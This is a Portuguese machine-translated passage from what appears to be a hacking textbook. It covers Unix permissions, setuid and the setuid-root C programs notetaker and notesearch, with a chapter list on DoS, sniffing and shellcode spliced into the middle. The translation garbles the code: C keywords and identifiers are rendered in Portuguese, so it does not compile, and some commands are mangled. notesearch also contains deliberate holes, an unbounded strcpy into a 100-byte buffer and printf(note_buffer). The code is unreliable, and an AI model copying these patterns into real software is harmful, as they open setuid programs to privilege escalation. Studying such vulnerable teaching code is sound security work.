todos os outros podem fazer. Estes campos também são</p><p>exibidos na frente da saída do ls -l. Primeiro, as permissões de</p><p>leitura/escrita/execução do usuário são exibidas, usando r para ler, w para</p><p>escrever, x para executar e - para desligar. Os três caracteres seguintes</p><p>exibem as permissões do grupo, e os três últimos caracteres são para as</p><p>outras permissões. Na saída acima, o programa simplenote tem todas as três</p><p>Programação 99</p><p>permissões de usuário ativadas (mostradas em negrito). Cada cor-</p><p>permissão responde a uma bit flag; ler é 4 (100 em binário), escrever é 2</p><p>(010 em binário), e executar é 1 (001 em binário). Uma vez que cada valor</p><p>contém apenas bits únicos,</p><p>uma operação um pouco OU alcança o mesmo resultado que a soma destes</p><p>números juntos alcança. Estes valores podem ser adicionados juntos para</p><p>definir permissões para usuário, grupo, e outros usando o comando chmod.</p><p>88 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ chmod 731 simplenote.c</p><p>reader@hacking:~/booksrc $ ls -l simplenote.c</p><p>-rwx-wx--x 1 leitor leitor 1826 2007-09-07 02:51 simplenote.c</p><p>reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c reader@hacking:~/booksrc</p><p>$ ls -l simplenote.c</p><p>-r-------- 1 leitor leitor 1826 2007-09-07 02:51 simplenote.c</p><p>reader@hacking:~/booksrc $ chmod u+w simplenote.c</p><p>reader@hacking:~/booksrc $ ls -l simplenote.c</p><p>-rw------- 1 leitor leitor 1826 2007-09-07 02:51 simplenote.c</p><p>reader@hacking:~/booksrc $</p><p>O primeiro comando (chmod 721) dá permissões de leitura, escrita e</p><p>execução ao usuário, já que o primeiro número é 7 (4 + 2 + 1), escrever e</p><p>executar permissões de agrupamento, já que o segundo número é 3 (2 + 1), e só</p><p>executar permis- sion a outros, já que o terceiro número é 1. As permissões</p><p>também podem ser adicionadas ou subtraídas usando o chmod. No próximo</p><p>comando chmod, o argumento ugo-wx significa Subtrair permissões de escrita e</p><p>executar permissões de usuário, grupo e outros. O comando final chmod u+w dá</p><p>permissão de escrita ao usuário.</p><p>No programa simplenote, a função open() usa S_IRUSR|S_IWUSR para seu</p><p>argumento de permissão adicional, o que significa que o arquivo /tmp/notes</p><p>só deve ter permissão de leitura e escrita do usuário quando ele é criado.</p><p>reader@hacking:~/booksrc $ ls -l /tmp/notes</p><p>-rw------- 1 reader reader 36 2007-09-07 02:52 /tmp/notes</p><p>reader@hacking:~/booksrc $</p><p>0x283 IDs de usuário</p><p>Cada usuário em um sistema Unix tem um número de identificação de</p><p>usuário único. Este ID de usuário pode ser exibido usando o comando id.</p><p>reader@hacking:~/bookrc $ id reader</p><p>uid=999(reader) gid=999(reader)</p><p>groups=999(reader),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),4</p><p>4 (video),46(plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(a</p><p>dmin)</p><p>reader@hacking:~/booksrc $ id matrix uid=500(matrix)</p><p>gid=500(matrix) groups=500(matrix)</p><p>reader@hacking:~/booksrc $ id root</p><p>uid=0(root) gid=0(root) grupos=0(root)</p><p>reader@hacking:~/booksrc $</p><p>O usuário root com ID de usuário 0 é como a conta do administrador, que</p><p>tem acesso total ao sistema. O comando su pode ser usado para mudar para</p><p>um usuário diferente, e se este comando for executado como root, ele pode</p><p>ser feito sem uma palavra-passe. O comando sudo permite que um único</p><p>comando seja executado como usuário root. No LiveCD, o sudo foi configurado</p><p>para que possa ser executado sem uma palavra-passe, por uma questão de</p><p>simplicidade. Estes comandos fornecem um método simples para alternar</p><p>Programação 89</p><p>rapidamente entre usuários.</p><p>90 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ sudo su jose</p><p>jose@hacking:/home/reader/booksrc $ id</p><p>uid=501(jose) gid=501(jose) groups=501(jose)</p><p>jose@hacking:/home/reader/booksrc $</p><p>Como o usuário José, o programa simplenote será executado como José</p><p>se for executado, mas não terá acesso ao arquivo /tmp/notas. Este arquivo é</p><p>de propriedade do leitor do usuário, e permite apenas a permissão de leitura</p>
<p>transporte .....................................................................................221</p><p>0x440 Sniffing de rede ..........................................................................................................224</p><p>0x441 Farejador de soquetes crus.............................................................................226</p><p>0x442 libpcap Sniffer..............................................................................................228</p><p>0x443 Descodificação das camadas..........................................................................230</p><p>0x444 Sniffing ativo. ...............................................................................................239</p><p>0x450 Negação de serviço........................................................................................................251</p><p>0x451 SYN Inundação............................................................................................252</p><p>0x452 O Ping da Morte ..............................................................................................256</p><p>0x453 Lágrima .........................................................................................................256</p><p>0x454 Inundação do Ping ......................................................................................257</p><p>0x455 Ataques de Amplificação ...........................................................................257</p><p>0x456 Inundação Distribuída DoS..............................................................................258</p><p>0x460 Hijacking TCP/IP............................................................................................................258</p><p>0x461 RST Seqüestro de RST...................................................................................259</p><p>0x462 Seqüestro contínuo.....................................................................................263</p><p>viii Conteúdo em detalhe</p><p>0x470 Varredura de portas ........................................................................................................264</p><p>0x471 Scan SYN Stealth............................................................................................264</p><p>0x472 FIN, X-mas, e Null Scans ................................................................................264</p><p>0x473 Engodos de spoofing..................................................................................265</p><p>0x474 Varredura ociosa..........................................................................................265</p><p>0x475 Defesa pró-ativa (sudário) ...............................................................................267</p><p>0x480 Alcance e Hack Alguém .................................................................................................272</p><p>0x481 Análise com GDB............................................................................................273</p><p>0x482 Quase só conta com granadas de mão...........................................................275</p><p>0x483 Código Shell de encadernação de portas........................................................278</p><p>0x500 SHELLCODE 281</p><p>0x510 Montagem vs. C .............................................................................................................282</p><p>0x511 Chamadas de Sistema Linux em Montagem ..................................................284</p><p>0x520 O Caminho para o Código Shell .....................................................................................286</p><p>0x521 Instruções de montagem usando a Pilha ........................................................287</p><p>0x522 Investigando com GDB ...................................................................................289</p><p>0x523 Remoção de bytes nulos .................................................................................290</p><p>0x530 Código Shell-Spawning Shellcode..................................................................................295</p><p>0x531 A Matéria de Privilégio.....................................................................................299</p><p>0x532 e mais pequeno ainda .....................................................................................302</p><p>0x540 Código Shell de encadernação de porta.........................................................................303</p><p>0x541 Duplicação de descritores de arquivo padrão .................................................307</p><p>0x542 Estruturas de controle de ramificação .............................................................309</p><p>0x550 Conexão-Código Shell de retorno ...................................................................................314</p><p>0x600 CONTRAMEDIDAS 319</p><p>0x610 Contramedidas que detectam.........................................................................................320</p><p>Sistema 0x620 Daemons ..........................................................................................................321</p><p>0x621 Curso de queda em Sinais ..............................................................................322</p><p>0x622 Daemon Tinyweb........................................................................................324</p><p>0x630 Ferramentas do ofício.....................................................................................................328</p><p>0x631 tinywebd Exploit Tool.......................................................................................329</p><p>0x640 Arquivos de Log..............................................................................................................334</p><p>0x641 Misturar com a multidão ..................................................................................334</p><p>0x650 Olhando para o Óbvio ....................................................................................................336</p><p>0x651 Um passo de cada vez ....................................................................................336</p><p>0x652 Voltar a juntar as coisas...................................................................................340</p><p>0x653 Trabalhadores Infantis .................................................................................346</p><p>0x660 Camuflagem avançada .............................................................................................348</p><p>0x661 Falsificar o endereço IP logado.......................................................................348</p><p>0x662 Exploração sem Logless Exploitation ..............................................................352</p><p>0x670 A infra-estrutura completa...............................................................................................354</p><p>0x671 Reutilização de soquetes .................................................................................355</p><p>0x680 Contrabando de carga útil.........................................................................................359</p><p>0x681 Codificação de Cordas ...............................................................................359</p><p>0x682 Como Esconder um Trenó ..............................................................................362</p><p>0x690 Restrições tampão de segurança ...................................................................................363</p><p>0x691 Código ASCII Polimórfico para impressão ......................................................366</p><p>Conteúdo em detalhe ix</p><p>0x6a0 Contra-medidas de endurecimento.................................................................................376</p><p>0x6b0 Pilha não-executável ......................................................................................................376</p><p>0x6b1 ret2libc...........................................................................................................376</p><p>0x6b2 Retornando ao sistema().................................................................................377</p><p>0x6c0 Espaço de Pilha Aleatorizado .........................................................................................379</p><p>0x6c1 Investigações com a BASH e GDB .................................................................380</p><p>0x6c2 Bouncing Off linux-gate....................................................................................384</p>
<p>e escrita a seu proprietário.</p><p>jose@hacking:/home/reader/bookrc $ ls -l /tmp/notas</p><p>-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes</p><p>jose@hacking:/home/reader/booksrc $ ./simplenote "uma nota para</p><p>jose" [DEBUG] buffer @ 0x804a008: 'uma nota para jose'.</p><p>[DEBUG] datafile @ 0x804a070: '/tmp/notas</p><p>[!!] Erro Fatal no principal() durante a abertura do arquivo: Permissão</p><p>negada jose@hacking:/home/reader/bookrc $ cat /tmp/notes</p><p>gato: /tmp/notas: Permissão negada</p><p>jose@hacking:/home/reader/bookrc saída $</p><p>reader@hacking:~/booksrc $</p><p>Isto é bom se o leitor for o único usuário do programa simplenote; no</p><p>entanto, há muitas vezes quando vários usuários precisam ser capazes de</p><p>acessar certas porções do mesmo arquivo. Por exemplo, o arquivo</p><p>/etc/passwd contém informações de conta para cada usuário no sistema,</p><p>incluindo a shell de login padrão de cada usuário. O comando chsh permite</p><p>que qualquer usuário altere seu próprio shell de login. Este programa precisa</p><p>ser capaz de fazer alterações no arquivo /etc/passwd, mas somente na linha</p><p>que diz respeito à conta do usuário atual. A solução para este problema no</p><p>Unix é o set user ID (setuid) permissão. Este é um bit de permissão de arquivo</p><p>tional adicional que pode ser definido usando chmod. Quando um programa</p><p>com esta bandeira é executado, ele é executado como o ID de usuário do</p><p>proprietário do arquivo.</p><p>reader@hacking:~/booksrc $ que chsh</p><p>/usr/bin/chsh</p><p>reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd</p><p>-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd</p><p>-rwsr-xr-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh</p><p>reader@hacking:~/booksrc $</p><p>O programa chsh tem o conjunto de bandeiras setuid, que é indicado</p><p>por um s na saída do ls acima. Como este arquivo é de propriedade do root</p><p>e tem a permissão setuid definida, o programa será executado como</p><p>usuário root quando qualquer usuário executar este programa. O arquivo</p><p>/etc/passwd no qual o chsh escreve também é de propriedade do root e só</p><p>permite que o proprietário escreva nele. A lógica do programa em chsh é</p><p>projetada para permitir somente a escrita na linha em /etc/passwd que</p><p>corresponde ao usuário que executa o programa, mesmo que o programa</p><p>esteja efetivamente rodando como root. Isto significa que um programa</p><p>Programação 91</p><p>em execução tem tanto um ID de usuário real quanto um ID de usuário</p><p>efetivo. Estes IDs podem ser recuperados usando as funções getuid() e</p><p>geteuid(), respectivamente, como mostrado em uid_demo.c.</p><p>92 0 x 2</p><p>0 0</p><p>uid_demo.c</p><p>#include <stdio.h></p><p>int main() {</p><p>printf("uid real: %d\n", getuid());</p><p>printf("uid efetivo: %d\n", geteuid());</p><p>}</p><p>Os resultados da compilação e execução do uid_demo.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc -o uid_demo uid_demo.c</p><p>reader@hacking:~/booksrc $ ls -l uid_demo</p><p>-rwxr-xr-x 1 leitor 6825 2007-09-07 05:32 uid_demo reader@hacking:~/booksrc $</p><p>./uid_demo</p><p>uid real: 999</p><p>uid efetivo: 999</p><p>reader@hacking:~/booksrc $ sudo chown root:root ./uid_demo</p><p>reader@hacking:~/booksrc $ ls -l uid_demo</p><p>-rwxr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo</p><p>reader@hacking:~/booksrc $ ./uid_demo</p><p>uid real: 999</p><p>uid efetivo: 999 reader@hacking:~/booksrc</p><p>$</p><p>Na saída para uid_demo.c, ambos os IDs de usuário são mostrados como</p><p>999 quando o uid_demo é executado, já que 999 é o ID de usuário para o</p><p>leitor. Em seguida, o sudo com- mand é usado com o comando chown para</p><p>mudar o dono e grupo do uid_demo para root. O programa ainda pode ser</p><p>executado, já que tem permissão de execução para outro, e mostra que</p><p>ambos os IDs de usuário permanecem 999, já que esse ainda é o ID do</p><p>usuário.</p><p>reader@hacking:~/booksrc $ chmod u+s ./uid_demo</p><p>chmod: mudança das permissões de `./uid_demo': Operação não permitida</p><p>reader@hacking:~/booksrc $ sudo chmod u+s ./uid_demo reader@hacking:~/booksrc $</p><p>ls -l uid_demo</p><p>-rwsr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo</p><p>reader@hacking:~/booksrc $ ./uid_demo</p><p>uid real: 999</p><p>uid efetivo: 0</p><p>reader@hacking:~/booksrc $</p><p>Como o programa agora é de propriedade da raiz, o sudo deve ser usado</p><p>para alterar as permissões de arquivo nele. O comando chmod u+s ativa o</p><p>setuid permis- sion, que pode ser visto na seguinte saída ls -l. Agora quando o</p><p>leitor do usuário executa uid_demo, o ID de usuário efetivo é 0 para root, o</p><p>que significa que o programa pode acessar os arquivos como root. É assim</p><p>que o programa chsh é capaz de permitir que qualquer usuário altere sua</p><p>shell de login armazenada em /etc/passwd.</p><p>Programação 91</p><p>Esta mesma técnica pode ser utilizada em um programa de anotação</p><p>multiusuário. O próximo programa será uma modificação do programa</p><p>simplenote; ele também registrará a identificação do usuário do autor</p><p>original de cada nota. Além disso, uma nova sintaxe para #incluir será</p><p>introduzida.</p><p>As funções ec_malloc() e fatal() têm sido úteis em muitos de nossos</p><p>programas. Em vez de copiar e colar estas funções em cada programa, elas</p><p>podem ser colocadas em um arquivo include separado.</p><p>hacking.h</p><p>// Uma função para exibir uma mensagem de erro e depois</p><p>sair void fatal(char *message) {</p><p>mensagem de erro de charme[100];</p><p>strcpy(error_message, "[!!] Fatal Error ");</p><p>strncat(error_message, mensagem, 83);</p><p>perror(error_message);</p><p>saída(-1);</p><p>}</p><p>// Um malloc() invólucro com função malloc()</p><p>vazia *ec_malloc(unsigned int size) {</p><p>nulo *ptr;</p><p>ptr =</p><p>malloc(tamanho);</p><p>if(ptr == NULL)</p><p>fatal("in ec_malloc() on memory allocation");</p><p>retornar ptr;</p><p>}</p><p>Neste novo programa, hacking.h, as funções podem ser apenas incluídas.</p><p>Em C, quando o nome do arquivo para um #include é cercado por < e >, o</p><p>compilador procura por este arquivo em padrão incluir caminhos, tais como</p><p>/usr/include/. Se o nome do arquivo estiver rodeado por aspas, o compilador</p><p>procura no diretório atual. Daí em diante, se o hacking.h estiver no mesmo</p><p>diretório que um programa, ele pode ser incluído com esse programa</p><p>digitando #include "hacking.h".</p><p>As linhas alteradas para o novo programa de anotações (notetaker.c)</p><p>são exibidas em negrito.</p><p>notetaker.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>#include <fcntl.h></p><p>#include <sys/stat.h></p><p>#include "hacking.h"</p><p>uso inválido(char *nome_do_prog, char *nome_do_filme) {</p><p>printf("Utilização: %s <dados para adicionar a %s>\n", prog_name,</p><p>nome do arquivo); exit(0);</p><p>92 0 x 2</p><p>0 0</p><p>}</p><p>fatal(char *) nulo; // Uma função para erros fatais</p><p>void *ec_malloc(unsigned int); // Um invólucro malloc() verificado por erro</p><p>int main(int argc, char *argv[]) { int</p><p>userid, fd; // File descriptor</p><p>char *buffer, *datafile;</p><p>buffer = (char *) ec_malloc(100);</p><p>datafile = (char *) ec_malloc(20);</p><p>strcpy(datafile, "/var/notes");</p><p>if(argc < 2) // Se não houver argumentos de linha de</p><p>comando, uso(argv[0], datafile); // exibir mensagem de uso e</p><p>saída.</p><p>strcpy(buffer, argv[1]); // Copiar em buffer.</p><p>tampão printf("[DEBUG] tampão @ %p: \%s'\n", buffer,</p><p>buffer); printf("[DEBUG] datafile @ %p: \n", datafile, datafile);</p><p>// Abrindo o arquivo</p><p>fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);</p><p>if(fd == -1)</p><p>fatal("in main() while opening file");</p><p>printf("[DEBUG] file descriptor is %d\n",</p><p>fd);</p><p>userid = getuid(); // Obter o ID do usuário real.</p><p>// Dados de escrita</p><p>if(write(fd, &userid, 4) == -1) // Escreva o ID do usuário antes dos</p><p>dados da nota. fatal("in main() while writing userid to file");</p><p>escrever(fd, "\n", 1); // Terminar linha.</p><p>if(write(fd, buffer, strlen(buffer)) == -1) // Escrever nota.</p><p>fatal("in main() while writing buffer to file");</p><p>escrever(fd, "\n", 1); // Terminar linha.</p><p>// Arquivo de</p><p>fechamento</p><p>if(close(fd) == -1)</p><p>fatal("in main() while closing file");</p><p>printf("Note has been saved.\n");</p><p>free(buffer);</p><p>grátis(datafile);</p><p>}</p><p>O arquivo de saída foi alterado de /tmp/notas para /var/notas, de modo</p><p>que os dados agora são armazenados em um local mais permanente. A</p><p>função getuid() é usada para obter a identificação real do usuário, que é</p><p>escrita no arquivo de dados na linha antes que a linha da nota seja escrita.</p><p>Como a função write() está esperando um ponteiro para sua fonte,</p>
<p>o &</p><p>Programação 93</p><p>operador é usado no valor inteiro do userid para fornecer seu endereço.</p><p>94 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $ gcc -o notetaker.c reader@hacking:~/booksrc $ sudo</p><p>chown root:root ./notetaker reader@hacking:~/booksrc $ sudo chmod u+s ./notetaker</p><p>reader@hacking:~/booksrc $ ls -l ./notetaker</p><p>-rwsr-xr-x 1 root root 9015 2007-09-07 05:48 ./notetaker</p><p>reader@hacking:~/booksrc $ ./notetaker "este é um teste de notas</p><p>multiusuário" [DEBUG] buffer @ 0x804a008: 'este é um teste de notas</p><p>multiusuário'.</p><p>[DEBUG] datafile @ 0x804a070: '/var/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>Nota foi salva. reader@hacking:~/booksrc $ ls -</p><p>l /var/notes</p><p>-rw------- 1 root reader 39 2007-09-07 05:49 /var/notes</p><p>reader@hacking:~/booksrc $</p><p>Na saída anterior, o programa de anotações é compilado e alterado para</p><p>ser propriedade da raiz, e a permissão de setuid é definida. Agora, quando o</p><p>programa é executado, o programa é executado como usuário root, portanto</p><p>o arquivo /var/notes também é propriedade do root quando é criado.</p><p>reader@hacking:~/booksrc $ cat /var/notes</p><p>cat: /var/notes: Permissão negada</p><p>reader@hacking:~/booksrc $ sudo cat /var/notes</p><p>?</p><p>este é um teste de leitura de notas</p><p>multiusuário@hacking:~/booksrc $ sudo hexdump -C /var/notes</p><p>00000000 e7 03 00 00 00 0a 74 68 69 73 20 69 73 20 61 20 74 |.....this is a t|</p><p>00000010 65 73 74 20 6f 66 20 6d 75 6c 74 69 75 73 73 65 72 |est of multiuser|est of</p><p>multiuser</p><p>00000020 20 6e 6f 74 65 73 0a | notes.|</p><p>00000027</p><p>reader@hacking:~/booksrc $ pcalc 0x03e7</p><p>999 0x3e7 0y1111100111</p><p>reader@hacking:~/booksrc $</p><p>O arquivo /var/notas contém o ID do usuário do leitor (999) e a nota.</p><p>Por causa da arquitetura little-endian, os 4 bytes do inteiro 999 aparecem</p><p>invertidos em hexadecimal (mostrado em negrito acima).</p><p>Para que um usuário normal seja capaz de ler os dados da nota, é</p><p>necessário um programa de raiz correspondente. O programa noteearch.c</p><p>lerá os dados da nota e exibirá apenas as notas escritas por aquele ID de</p><p>usuário. Além disso, um argumento opcional de linha de comando pode ser</p><p>fornecido para uma cadeia de busca. Quando isto for usado, somente as</p><p>notas que correspondam à cadeia de busca serão exibidas.</p><p>notesearch.c</p><p>#include <stdio.h></p><p>#include <string.h></p><p>#include <fcntl.h></p><p>#include <sys/stat.h></p><p>#include "hacking.h</p><p>Programação 95</p><p>#define FILENAME "/var/notas"</p><p>int print_notes(int, int, char *); // Função de impressão de notas.</p><p>int find_user_note(int, int); // Procure em arquivo uma nota</p><p>para usuário. int search_note(char *, char *); // Busca por função de</p><p>palavra-chave.</p><p>fatal(char *) nulo; // Manipulador de erros fatais</p><p>int main(int argc, char *argv[]) {</p><p>int userid, printing=1, fd; // File descriptor char</p><p>searchstring[100];</p><p>if(argc > 1) // Se houver um arg,</p><p>strcpy(searchstring, argv[1]); // que é a cadeia de busca;</p><p>senão // caso contrário,</p><p>searchstring[0] = 0; // a cadeia de busca está vazia.</p><p>userid = getuid();</p><p>fd = aberto(FILENAME, O_RDONLY); // Abra o arquivo para acesso somente</p><p>leitura. if(fd == -1)</p><p>fatal("in main() while opening file for reading");</p><p>enquanto(impressão)</p><p>printing = print_notes(fd, userid, searchstring);</p><p>printf("-------[ dados finais da nota ]----------\n");</p><p>fechar(fd);</p><p>}</p><p>// Uma função para imprimir as notas de um determinado uid que correspondem</p><p>// uma cadeia de busca opcional;</p><p>// retorna 0 no final do arquivo, 1 se ainda houver mais</p><p>notas. int print_notes(int fd, int uid, char *searchstring) {</p><p>int note_length;</p><p>char byte=0, note_buffer[100];</p><p>note_length = find_user_note(fd, uid);</p><p>if(note_length == -1) // Se o fim do arquivo for</p><p>alcançado,</p><p>retornar 0; // retornar 0.</p><p>read(fd, note_buffer, note_length); // Ler dados da nota.</p><p>note_buffer[note_length] = 0; // Terminar a seqüência.</p><p>if(search_note(note_buffer, searchstring)) // Se a ferramenta de</p><p>busca for encontrada, printf(note_buffer); // imprimir a</p><p>nota.</p><p>retornar 1;</p><p>}</p><p>// Uma função para encontrar a próxima nota para um determinado ID de</p><p>usuário;</p><p>// retorna -1 se for alcançado o final do arquivo;</p><p>// caso contrário, retorna o comprimento da nota</p><p>encontrada. int find_user_note(int fd, int user_uid) {</p><p>int note_uid=-1; byte</p><p>96 0 x 2</p><p>0 0</p><p>de caracteres sem</p><p>assinatura; int length;</p><p>while(note_uid != user_uid) { // Loop até que uma nota para user_uid seja</p><p>encontrada.</p><p>Programação 97</p><p>if(read(fd, ¬e_uid, 4) != 4) // Leia os dados do uid.</p><p>retornar -1; // Se 4 bytes não forem lidos, retornar código de fim de</p><p>arquivo. if(read(fd, &byte, 1) != 1) // Leia o novo separador de linha.</p><p>retornar -1;</p><p>byte = comprimento = 0;</p><p>while(byte != '\n') { // Descubra quantos bytes até o final da linha. if(read(fd,</p><p>&byte, 1) != 1) // Leia um único byte.</p><p>retornar -1; // Se o byte não for lido, retornar código de</p><p>fim de arquivo. comprimento++;</p><p>}</p><p>}</p><p>lseek(fd, comprimento * -1, SEEK_CUR); // Rebobinar a leitura do arquivo por</p><p>bytes de comprimento.</p><p>printf("[DEBUG] encontrou uma nota de byte %d para identificação do usuário %d\n",</p><p>comprimento, nota_uid); comprimento de retorno;</p><p>}</p><p>// Uma função para pesquisar uma nota para uma determinada palavra-chave;</p><p>// retorna 1 se for encontrada uma correspondência, 0</p><p>se não houver correspondência. int search_note(char</p><p>*note, char *keyword) {</p><p>int i, palavra-chave_length, match=0;</p><p>keyword_length = strlen(palavra-chave);</p><p>if(keyword_length == 0) // Se não houver nenhuma</p><p>cadeia de busca, retornar 1; // sempre</p><p>"corresponder".</p><p>for(i=0; i < strlen(note); i++) { // Iterate over bytes in note. if(note[i]</p><p>== palavra-chave[match]) // If byte match keyword,</p><p>match++; // prepare-se para verificar o</p><p>próximo byte; caso contrário { // caso</p><p>contrário,</p><p>if(note[i] == palavra-chave[0]) // se esse byte corresponder à primeira</p><p>palavra-chave byte, corresponder = 1; // iniciar a contagem da partida</p><p>em 1.</p><p>senão</p><p>match = 0; // Caso contrário, é zero.</p><p>}</p><p>if(match == comprimento_da_palavra-chave) // Se</p><p>houver uma correspondência completa,</p><p>retornar 1; // retorno igualado.</p><p>}</p><p>retorno 0; // Retorno não correspondido.</p><p>}</p><p>A maior parte deste código deve fazer sentido, mas existem alguns</p><p>conceitos novos.</p><p>O nome do arquivo é definido na parte superior em vez de usar a memória</p><p>do monte. Além disso, a função lseek() é usada para rebobinar a posição lida</p><p>no arquivo. A função chamada de lseek(fd, comprimento * -1, SEEK_CUR); diz ao</p><p>programa para mover a posição lida para frente a partir da posição atual no</p><p>arquivo por comprimento * -1 bytes.</p><p>98 0 x 2</p><p>0 0</p><p>Como este se revela um número negativo, a posição é deslocada para trás</p><p>por bytes de comprimento.</p><p>reader@hacking:~/booksrc $ gcc -o notesearch noteearch</p><p>notesearch.c reader@hacking:~/booksrc $ sudo chown root:root</p><p>./notesearch reader@hacking:~/booksrc $ sudo chmod u+s</p><p>./notesearch reader@hacking:~/booksrc $ ./notesearch</p><p>Programação 99</p><p>[DEBUG] encontrou uma nota de 34 bytes para</p><p>o id de usuário 999 este é um teste de notas</p><p>multi-usuário</p><p>-------[ dados finais da nota ]-------</p><p>reader@hacking:~/booksrc $</p><p>Quando compilado e enraizado, o programa de pesquisa de notas</p><p>funciona como esperado. Mas este é apenas um único usuário; o que</p><p>acontece se um usuário diferente usar o programa de anotações e de</p><p>pesquisa de notas?</p><p>reader@hacking:~/booksrc $ sudo su jose</p><p>jose@hacking:/home/reader/booksrc $ ./notetaker "Esta é uma nota para</p><p>jose" [DEBUG] buffer @ 0x804a008: 'Esta é uma nota para jose'.</p><p>[DEBUG] datafile @ 0x804a070: '/var/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>Nota foi salva. jose@hacking:/home/reader/booksrc</p><p>$ ./notesearch [DEBUG] encontrou uma nota de 24</p><p>bytes para o usuário id 501 Esta é uma nota para</p><p>jose</p><p>-------[ dados no final da nota ]-------</p><p>jose@hacking:/home/reader/booksrc $</p><p>Quando o usuário José usa estes programas, a identificação real do</p><p>usuário é 501. Isto significa que o valor é adicionado a todas as notas escritas</p><p>com anotador, e somente notas com um ID de usuário correspondente serão</p><p>exibidas pelo programa de pesquisa de notas.</p><p>reader@hacking:~/booksrc $ ./notetaker "Esta é outra nota para o usuário leitor"</p><p>[DEBUG] buffer @ 0x804a008:</p>
<p>'Esta é outra nota para o usuário leitor'.</p><p>[DEBUG] datafile @ 0x804a070: '/var/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>A nota foi salva. reader@hacking:~/booksrc $</p><p>./notesearch [DEBUG] encontrou uma nota de</p><p>34 bytes para o id de usuário 999 este é um</p><p>teste de notas multi-usuário</p><p>[DEBUG] encontrou uma nota de 41 bytes para o</p><p>usuário id 999 Esta é outra nota para o usuário</p><p>leitor</p><p>-------[ dados finais da nota ]-------</p><p>reader@hacking:~/booksrc $</p><p>Da mesma forma, todas as notas para o leitor do usuário têm o ID de</p><p>usuário 999 anexado a elas. Embora tanto o programa de anotações quanto</p><p>o programa de pesquisa de notas sejam suid root e tenham acesso total de</p><p>leitura e escrita ao arquivo de dados /var/notes, a lógica pro grama no</p><p>programa de pesquisa de notas impede que o usuário atual veja as notas de</p><p>outros usuários. Isto é muito similar a como o arquivo /etc/passwd armazena</p><p>informações do usuário para todos os usuários, contudo programas como</p><p>chsh e passwd permitem que qualquer usuário mude sua própria shell ou</p><p>senha.</p><p>100 0 x 2</p><p>0 0</p><p>0x284 Structs</p><p>s vezes, há múltiplas variáveis que devem ser agrupadas e tratadas como uma</p><p>só. Em C, as estruturas são variáveis que podem conter muitas outras</p><p>variáveis variáveis. Os structs são freqüentemente usados por várias funções</p><p>do sistema e bibliotecas, portanto, entender como usar structs é um pré-</p><p>requisito para usar estas funções.</p><p>Programação 101</p><p>Um exemplo simples será suficiente por enquanto. Quando se trata de muitas</p><p>funções de tempo, estas funções utilizam uma estrutura de tempo chamada</p><p>tm, que é definida em /usr/include/ time.h. A definição da estrutura é a</p><p>seguinte.</p><p>estrutura tm {</p><p>int tm_sec; /* segundos */</p><p>int tm_min; /* minutos */</p><p>int tm_hora; /* horas */</p><p>int tm_mday; /* dia do mês */</p><p>int tm_mon; /* mês */</p><p>int tm_year; /* ano */</p><p>int tm_wday; /* dia da semana */</p><p>int tm_yday; /* dia do ano */</p><p>int tm_isdst; /* horário de verão */</p><p>};</p><p>Depois que esta estrutura é definida, a estrutura tm torna-se um tipo de</p><p>variável utilizável, que pode ser usada para declarar variáveis e indicadores com o</p><p>tipo de dados da estrutura tm. O programa time_example.c demonstra isto.</p><p>Quando time.h é incluído, a estrutura tm é definida, que é posteriormente</p><p>utilizada para declarar as variáveis tempo_corrente e tempo_ptr.</p><p>time_example.c</p><p>#include <stdio.h></p><p>#include <time.h></p><p>int main() {)</p><p>longo_semana_de_epoch; estrutura</p><p>tm current_time, *time_ptr;</p><p>int hora, minuto, segundo, dia, mês, ano;</p><p>seconds_since_epoch = time(0); // Pass time a null pointer as argument.</p><p>printf("time() - seconds since epoch: %ld\n", seconds_since_epoch);</p><p>time_ptr = ¤t_time; // Ajuste o time_ptr para o endereço de</p><p>// a atual_estrutura de tempo.</p><p>localtime_r(&seconds_since_epoch, time_ptr);</p><p>// Três formas diferentes de acessar elementos</p><p>estruturais: hora = hora_corrente.tm_hora; //</p><p>minuto de acesso direto = hora_ptr->tm_min; // Acesso via</p><p>ponteiro segundo = *((int *) time_ptr); // Acesso via</p><p>ponteiro Hacky</p><p>printf("A hora atual é: %02d:%02d:%02d\n", hora, minuto, segundo);</p><p>}</p><p>A função time() retornará o número de segundos desde 1 de janeiro de</p><p>1970. O tempo nos sistemas Unix é mantido relativo a este ponto do tempo</p><p>bastante arbitrário, que também é conhecido como a época. A função</p><p>localtime_r() espera dois indicadores como argumentos: um para o número de</p><p>102 0 x 2</p><p>0 0</p><p>segundos desde a época e o outro para uma estrutura tm. O ponteiro time_ptr</p><p>já foi definido para o endereço</p><p>Programação 103</p><p>de tempo_actual, uma estrutura tm vazia. O endereço do operador é usado</p><p>para fornecer um ponteiro para segundos_desde_epoch para o outro</p><p>argumento ao localtime_r(), que preenche os elementos da estrutura tm. Os</p><p>elementos das estruturas podem ser acessados de três maneiras diferentes; as</p><p>duas primeiras são as formas adequadas de acesso aos elementos estruturais, e a</p><p>terceira é uma solução hackeada. Se uma variável estrutural for usada, seus</p><p>elementos podem ser acessados adicionando os nomes dos elementos ao</p><p>final do nome da variável com um ponto. Portanto, current_time.tm_hour</p><p>acessará apenas o elemento tm_hour da estrutura tm chamada current_time.</p><p>Apontadores para estruturas são freqüentemente usados, já que é muito</p><p>mais eficiente passar um ponteiro de quatro bytes do que uma estrutura de</p><p>dados inteira. Os ponteiros de estrutura são tão comuns que C tem um</p><p>método embutido para acessar elementos estruturais a partir de um ponteiro</p><p>de estrutura sem necessidade de desreferenciar o ponteiro. Ao utilizar 